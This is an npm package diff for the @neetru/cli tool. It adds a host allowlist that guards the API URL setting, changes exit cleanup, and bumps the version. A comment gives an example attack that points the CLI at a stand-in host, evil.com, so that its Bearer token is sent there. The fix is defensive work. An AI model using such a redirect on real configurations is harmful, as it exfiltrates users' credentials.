@neetru/cli 2.10.1 → 2.11.1

package/dist/lib/url-allowlist.js

@@ -0,0 +1,90 @@
+/**
+ * MASTER-HIGH-049 (2.11.0) — allowlist de hosts pra `neetruApiUrl`.
+ *
+ * Pre-2.11, `neetru config set neetruApiUrl http://evil.com` era aceito sem
+ * warning. Proxima chamada `neetru whoami` mandava o Bearer
+ * `nrt_<keyId>_<secret>` direto pra `evil.com` — vetor de exfiltracao do
+ * token CLI. (HIGH-10 / chefe-CLI HIGH-02.)
+ *
+ * Politica:
+ *   - Hosts trustred: api.neetru.com, core.neetru.com, *.neetru.com,
+ *     localhost (qualquer porta), 127.0.0.1 (qualquer porta).
+ *   - Hosts NAO trusted: warning vermelho + bloqueio sem
+ *     `--allow-untrusted-url` (ou env `NEETRU_ALLOW_UNTRUSTED_URL=1`).
+ */
+const TRUSTED_HOSTS_EXACT = new Set([
+    'api.neetru.com',
+    'core.neetru.com',
+    'neetru.com',
+]);
+const TRUSTED_HOST_PATTERNS = [
+    /\.neetru\.com$/i, // qualquer subdominio de neetru.com (auth.neetru.com etc)
+    /^localhost$/i, // dev
+    /^127\.0\.0\.1$/, // dev IPv4 loopback
+    /^\[::1\]$/, // dev IPv6 loopback (URL host com bracket)
+];
+/**
+ * Classifica a URL alvo. Retorna `trusted=true` quando o host bate na
+ * allowlist; `trusted=false` (com `reason`) caso contrario.
+ */
+export function classifyApiUrl(rawUrl) {
+    let parsed;
+    try {
+        parsed = new URL(rawUrl);
+    }
+    catch (err) {
+        return {
+            trusted: false,
+            host: rawUrl,
+            reason: `URL invalida: ${err.message}`,
+        };
+    }
+    if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
+        return {
+            trusted: false,
+            host: parsed.host,
+            reason: `Protocolo nao suportado: ${parsed.protocol}`,
+        };
+    }
+    // Hostname (sem porta).
+    const hostname = parsed.hostname.toLowerCase();
+    const isLoopback = hostname === 'localhost' ||
+        hostname === '127.0.0.1' ||
+        hostname === '::1';
+    // Match contra allowlist (exact + pattern).
+    let hostnameAllowed = TRUSTED_HOSTS_EXACT.has(hostname);
+    if (!hostnameAllowed) {
+        for (const pattern of TRUSTED_HOST_PATTERNS) {
+            if (pattern.test(hostname)) {
+                hostnameAllowed = true;
+                break;
+            }
+        }
+    }
+    if (!hostnameAllowed) {
+        return {
+            trusted: false,
+            host: parsed.host,
+            reason: 'Host fora da allowlist neetru.com / localhost',
+        };
+    }
+    // Hostname permitido. Para hosts NAO-loopback, exige HTTPS (HTTP em
+    // host de producao expoe Bearer token a sniffing trivial).
+    if (!isLoopback && parsed.protocol === 'http:') {
+        return {
+            trusted: false,
+            host: parsed.host,
+            reason: `HTTP nao-cifrado para host nao-loopback (${hostname}). Use https://`,
+        };
+    }
+    return { trusted: true, host: parsed.host };
+}
+/**
+ * Override por env. Setar `NEETRU_ALLOW_UNTRUSTED_URL=1` pula a checagem
+ * tanto em `config set` quanto em runtime warnings — util pra dev em
+ * ambientes corporativos com proxy.
+ */
+export function isOverrideEnabled() {
+    return process.env.NEETRU_ALLOW_UNTRUSTED_URL === '1';
+}
+//# sourceMappingURL=url-allowlist.js.map

package/dist/lib/url-allowlist.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"url-allowlist.js","sourceRoot":"","sources":["../../src/lib/url-allowlist.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAQH,MAAM,mBAAmB,GAAG,IAAI,GAAG,CAAC;IAClC,gBAAgB;IAChB,iBAAiB;IACjB,YAAY;CACb,CAAC,CAAC;AAEH,MAAM,qBAAqB,GAA0B;IACnD,iBAAiB,EAAE,0DAA0D;IAC7E,cAAc,EAAE,MAAM;IACtB,gBAAgB,EAAE,oBAAoB;IACtC,WAAW,EAAE,2CAA2C;CACzD,CAAC;AAEF;;;GAGG;AACH,MAAM,UAAU,cAAc,CAAC,MAAc;IAC3C,IAAI,MAAW,CAAC;IAChB,IAAI,CAAC;QACH,MAAM,GAAG,IAAI,GAAG,CAAC,MAAM,CAAC,CAAC;IAC3B,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO;YACL,OAAO,EAAE,KAAK;YACd,IAAI,EAAE,MAAM;YACZ,MAAM,EAAE,iBAAkB,GAAa,CAAC,OAAO,EAAE;SAClD,CAAC;IACJ,CAAC;IAED,IAAI,MAAM,CAAC,QAAQ,KAAK,QAAQ,IAAI,MAAM,CAAC,QAAQ,KAAK,OAAO,EAAE,CAAC;QAChE,OAAO;YACL,OAAO,EAAE,KAAK;YACd,IAAI,EAAE,MAAM,CAAC,IAAI;YACjB,MAAM,EAAE,4BAA4B,MAAM,CAAC,QAAQ,EAAE;SACtD,CAAC;IACJ,CAAC;IAED,wBAAwB;IACxB,MAAM,QAAQ,GAAG,MAAM,CAAC,QAAQ,CAAC,WAAW,EAAE,CAAC;IAE/C,MAAM,UAAU,GACd,QAAQ,KAAK,WAAW;QACxB,QAAQ,KAAK,WAAW;QACxB,QAAQ,KAAK,KAAK,CAAC;IAErB,4CAA4C;IAC5C,IAAI,eAAe,GAAG,mBAAmB,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;IACxD,IAAI,CAAC,eAAe,EAAE,CAAC;QACrB,KAAK,MAAM,OAAO,IAAI,qBAAqB,EAAE,CAAC;YAC5C,IAAI,OAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,EAAE,CAAC;gBAC3B,eAAe,GAAG,IAAI,CAAC;gBACvB,MAAM;YACR,CAAC;QACH,CAAC;IACH,CAAC;IAED,IAAI,CAAC,eAAe,EAAE,CAAC;QACrB,OAAO;YACL,OAAO,EAAE,KAAK;YACd,IAAI,EAAE,MAAM,CAAC,IAAI;YACjB,MAAM,EAAE,+CAA+C;SACxD,CAAC;IACJ,CAAC;IAED,oEAAoE;IACpE,2DAA2D;IAC3D,IAAI,CAAC,UAAU,IAAI,MAAM,CAAC,QAAQ,KAAK,OAAO,EAAE,CAAC;QAC/C,OAAO;YACL,OAAO,EAAE,KAAK;YACd,IAAI,EAAE,MAAM,CAAC,IAAI;YACjB,MAAM,EAAE,4CAA4C,QAAQ,iBAAiB;SAC9E,CAAC;IACJ,CAAC;IAED,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,IAAI,EAAE,MAAM,CAAC,IAAI,EAAE,CAAC;AAC9C,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,iBAAiB;IAC/B,OAAO,OAAO,CAAC,GAAG,CAAC,0BAA0B,KAAK,GAAG,CAAC;AACxD,CAAC"}

package/dist/utils/safe-exit.js

@@ -37,21 +37,14 @@ function cleanupHandles() {
         process.stdin.destroy();
     }
     catch { /* já fechado */ }
-    // 3. Destroy http/https keep-alive sockets
-    try {
-        // eslint-disable-next-line @typescript-eslint/no-var-requires
-        const http = require('node:http');
-        if (http?.globalAgent?.destroy)
-            http.globalAgent.destroy();
-    }
-    catch { /* best-effort */ }
-    try {
-        // eslint-disable-next-line @typescript-eslint/no-var-requires
-        const https = require('node:https');
-        if (https?.globalAgent?.destroy)
-            https.globalAgent.destroy();
-    }
-    catch { /* best-effort */ }
+    // 3. M-05 fix (Opus review 2026-05-27): NÃO destruir globalAgent.
+    //    Antes destruíamos http.globalAgent.destroy() + https.globalAgent.destroy()
+    //    pra fechar keep-alive sockets — mas isso quebrava telemetria flush
+    //    e qualquer retry em-flight. fetch() Node 20+ usa undici internamente
+    //    e não depende do http.globalAgent legado. As assertions libuv
+    //    UV_HANDLE_CLOSING em Windows resolvem com stdin.destroy() (acima)
+    //    e o exit imediato — sockets http morrem com o processo de qualquer
+    //    forma. Manter destroy aqui só prejudicava telemetria keepalive:true.
 }
 /**
  * Sai com `code` após cleanup de handles libuv. NEVER returns.

package/dist/utils/safe-exit.js.map

@@ -1 +1 @@
-{"version":3,"file":"safe-exit.js","sourceRoot":"","sources":["../../src/utils/safe-exit.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AAEH,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,SAAS,cAAc;IACrB,gEAAgE;IAChE,IAAI,CAAC;QAAC,eAAe,EAAE,CAAC;IAAC,CAAC;IAAC,MAAM,CAAC,CAAC,iBAAiB,CAAC,CAAC;IAEtD,6CAA6C;IAC7C,IAAI,CAAC;QAAC,OAAO,CAAC,KAAK,CAAC,OAAO,EAAE,CAAC;IAAC,CAAC;IAAC,MAAM,CAAC,CAAC,gBAAgB,CAAC,CAAC;IAE3D,2CAA2C;IAC3C,IAAI,CAAC;QACH,8DAA8D;QAC9D,MAAM,IAAI,GAAG,OAAO,CAAC,WAAW,CAAC,CAAC;QAClC,IAAI,IAAI,EAAE,WAAW,EAAE,OAAO;YAAE,IAAI,CAAC,WAAW,CAAC,OAAO,EAAE,CAAC;IAC7D,CAAC;IAAC,MAAM,CAAC,CAAC,iBAAiB,CAAC,CAAC;IAC7B,IAAI,CAAC;QACH,8DAA8D;QAC9D,MAAM,KAAK,GAAG,OAAO,CAAC,YAAY,CAAC,CAAC;QACpC,IAAI,KAAK,EAAE,WAAW,EAAE,OAAO;YAAE,KAAK,CAAC,WAAW,CAAC,OAAO,EAAE,CAAC;IAC/D,CAAC;IAAC,MAAM,CAAC,CAAC,iBAAiB,CAAC,CAAC;AAC/B,CAAC;AAED;;;GAGG;AACH,MAAM,UAAU,QAAQ,CAAC,IAAY;IACnC,cAAc,EAAE,CAAC;IACjB,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACrB,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,eAAe,CAAC,IAAY;IAC1C,cAAc,EAAE,CAAC;IACjB,OAAO,CAAC,QAAQ,GAAG,IAAI,CAAC;AAC1B,CAAC"}
+{"version":3,"file":"safe-exit.js","sourceRoot":"","sources":["../../src/utils/safe-exit.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AAEH,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,SAAS,cAAc;IACrB,gEAAgE;IAChE,IAAI,CAAC;QAAC,eAAe,EAAE,CAAC;IAAC,CAAC;IAAC,MAAM,CAAC,CAAC,iBAAiB,CAAC,CAAC;IAEtD,6CAA6C;IAC7C,IAAI,CAAC;QAAC,OAAO,CAAC,KAAK,CAAC,OAAO,EAAE,CAAC;IAAC,CAAC;IAAC,MAAM,CAAC,CAAC,gBAAgB,CAAC,CAAC;IAE3D,kEAAkE;IAClE,gFAAgF;IAChF,wEAAwE;IACxE,0EAA0E;IAC1E,mEAAmE;IACnE,uEAAuE;IACvE,wEAAwE;IACxE,0EAA0E;AAC5E,CAAC;AAED;;;GAGG;AACH,MAAM,UAAU,QAAQ,CAAC,IAAY;IACnC,cAAc,EAAE,CAAC;IACjB,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACrB,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,eAAe,CAAC,IAAY;IAC1C,cAAc,EAAE,CAAC;IACjB,OAAO,CAAC,QAAQ,GAAG,IAAI,CAAC;AAC1B,CAAC"}

package/package.json

@@ -1,66 +1,66 @@
-{
-  "name": "@neetru/cli",
-  "version": "2.10.1",
-  "type": "module",
-  "description": "Neetru Developer Kit — scaffold, AI assistant, publish, build e deploy de produtos SaaS Neetru via Core (VM-based agents)",
-  "keywords": [
-    "neetru",
-    "saas",
-    "cli",
-    "devkit",
-    "scaffold",
-    "deploy",
-    "agent",
-    "vm"
-  ],
-  "homepage": "https://core.neetru.com",
-  "repository": {
-    "type": "git",
-    "url": "https://github.com/Neetru/neetru-core.git",
-    "directory": "cli"
-  },
-  "author": "Neetru Inc. <neetrucode@gmail.com>",
-  "license": "MIT",
-  "bin": {
-    "neetru": "./dist/index.js"
-  },
-  "main": "./dist/index.js",
-  "files": [
-    "dist",
-    "templates",
-    "README.md",
-    "CHANGELOG.md"
-  ],
-  "scripts": {
-    "build": "tsc",
-    "dev": "tsx src/index.ts",
-    "start": "node dist/index.js",
-    "test": "vitest run",
-    "test:watch": "vitest",
-    "prepublishOnly": "npm run build"
-  },
-  "dependencies": {
-    "@anthropic-ai/sdk": "^0.96.0",
-    "@neetru/db-classifier": "^0.1.0",
-    "chalk": "^5.4.1",
-    "commander": "^12.1.0",
-    "conf": "^13.0.1",
-    "inquirer": "^10.2.2",
-    "openai": "^4.77.0",
-    "ora": "^8.1.1",
-    "zod": "^3.24.2"
-  },
-  "devDependencies": {
-    "@types/inquirer": "^9.0.7",
-    "@types/node": "^22.0.0",
-    "tsx": "^4.22.0",
-    "typescript": "^5.9.3",
-    "vitest": "^4.1.7"
-  },
-  "engines": {
-    "node": ">=20"
-  },
-  "publishConfig": {
-    "access": "public"
-  }
-}
+{
+  "name": "@neetru/cli",
+  "version": "2.11.1",
+  "type": "module",
+  "description": "Neetru Developer Kit — scaffold, AI assistant, publish, build e deploy de produtos SaaS Neetru via Core (VM-based agents)",
+  "keywords": [
+    "neetru",
+    "saas",
+    "cli",
+    "devkit",
+    "scaffold",
+    "deploy",
+    "agent",
+    "vm"
+  ],
+  "homepage": "https://core.neetru.com",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/Neetru/neetru-core.git",
+    "directory": "cli"
+  },
+  "author": "Neetru Inc. <neetrucode@gmail.com>",
+  "license": "MIT",
+  "bin": {
+    "neetru": "./dist/index.js"
+  },
+  "main": "./dist/index.js",
+  "files": [
+    "dist",
+    "templates",
+    "README.md",
+    "CHANGELOG.md"
+  ],
+  "scripts": {
+    "build": "tsc",
+    "dev": "tsx src/index.ts",
+    "start": "node dist/index.js",
+    "test": "vitest run",
+    "test:watch": "vitest",
+    "prepublishOnly": "npm run build"
+  },
+  "dependencies": {
+    "@anthropic-ai/sdk": "^0.96.0",
+    "@neetru/db-classifier": "^0.1.0",
+    "chalk": "^5.4.1",
+    "commander": "^12.1.0",
+    "conf": "^13.0.1",
+    "inquirer": "^10.2.2",
+    "openai": "^4.77.0",
+    "ora": "^8.1.1",
+    "zod": "^3.24.2"
+  },
+  "devDependencies": {
+    "@types/inquirer": "^9.0.7",
+    "@types/node": "^22.0.0",
+    "tsx": "^4.22.0",
+    "typescript": "^5.9.3",
+    "vitest": "^4.1.7"
+  },
+  "engines": {
+    "node": ">=20"
+  },
+  "publishConfig": {
+    "access": "public"
+  }
+}